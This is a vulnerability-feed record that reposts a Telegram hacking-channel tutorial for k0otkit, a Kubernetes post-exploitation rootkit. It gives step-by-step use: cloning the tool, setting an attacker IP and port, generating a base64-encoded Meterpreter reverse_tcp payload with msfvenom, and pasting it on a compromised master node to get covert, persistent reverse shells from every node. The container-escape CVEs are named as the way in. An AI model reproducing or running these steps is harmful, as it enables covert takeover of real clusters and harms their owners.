{"uuid": "aebeea8a-57b5-4a8b-a7fb-47fbbe44fefd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-5195", "type": "seen", "source": "https://t.me/hacking_Attack/61385", "content": "Kali Linux Tutorials\nK0Otkit : Universal Post-Penetration Technique Which Could Be Used In Penetrations Against Kubernetes Clusters\n\nk0otkit is a universal post-penetration technique which could be used in penetrations against Kubernetes clusters.\n\nWith k0otkit, you can manipulate all the nodes in the target Kubernetes cluster in a rapid, covert and continuous way (reverse shell).\n\nk0otkit is the combination of Kubernetes\u00a0and rootkit.\n\nPrerequisite:\n\nk0otkit is a post-penetration tool, so you have to firstly conquer a cluster, somehow manage to escape from the container and get the root privilege of the master node (to be exact, you should get the admin privilege of the target Kubernetes).\n\nScenario:\n\n* After Web penetration, you get a shell of the target.\n* If necessary, you manage to escalate the privilege and make it.\n* You find the target environment is a container (Pod) in a Kubernetes cluster.\n* You manage to escape from the container and make it (with CVE-2016-5195, CVE-2019-5736, docker.sock or other techniques).\n* You get a root shell of the master node and are able to instruct the cluster with kubectlon the master node as admin.\n* Now you want to control all the nodes in the cluster as quickly as possible. Here comes k0otkit!\n\nk0otkit is detailed in k0otkit: Hack K8s in a K8s Way. UsageMake sure you have got the root shell on the master node of the target Kubernetes. (You can also utilize k0otkit if you have the admin privilege of the target Kubernetes, though you might need to modify the kubectlcommand in k0otkit_template.shto use the token or certification.)\n\nMake sure you have installed Metasploit on your attacker host (msfvenom\u00a0and msfconsoleshould be available).\n\nDeploy k0otkit\n\nClone this repository:\n\ngit clone https://github.com/brant-ruan/k0otkit\ncd k0otkit/\nchmod +x ./*.sh\n\nReplace the attacker\u2019s IP and port in pre_exp.shwith your own IP and port:\n\nATTACKER_IP=192.168.1.107\nATTACKER_PORT=4444\n\nGenerate k0otkit\n\n./pre_exp.sh k0otkit.shwill be generated. Then run the reverse shell handler:\n\n./handle_multi_reverse_shell.sh\n\nOnce the handler is ready, copy the content of k0otkit.shand paste it into your shell on the master node of the target Kubernetes, then press to execute it.\n\nWait a moment and enjoy reverse shells from all nodes https://s.w.org/images/core/emoji/14.0.0/72x72/1f642.png \n\nP.S. It is not limited how many Kubernetes clusters you manipulate with k0otkit.\n\nInteract with Shells\n\nAfter the successful deployment of k0otkit, you can interact with any reverse shell as you want: Features* utilize K8s resources and features (hack K8s in a K8s way)\n* dynamic container injection\n* communication encryption (thanks to Meterpreter)\n* fileless ExampleGenerate k0otkit:\n\nkali@kali:~/k0otkit$ ./pre_exp.sh\n\n* ATTACKER_IP=192.168.1.107\n* ATTACKER_PORT=4444\n* TEMP_MRT=mrt\n* msfvenom -p linux/x86/meterpreter/reverse_tcp LPORT=4444 LHOST=192.168.1.107 -f elf -o mrt\n++ xxd -p mrt\n++ tr -d \u2018\\n\u2019\n++ base64 -w 0\n* PAYLOAD=N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw\n* sed s/PAYLOAD_VALUE_BASE64/N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTA[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:34.646780Z"}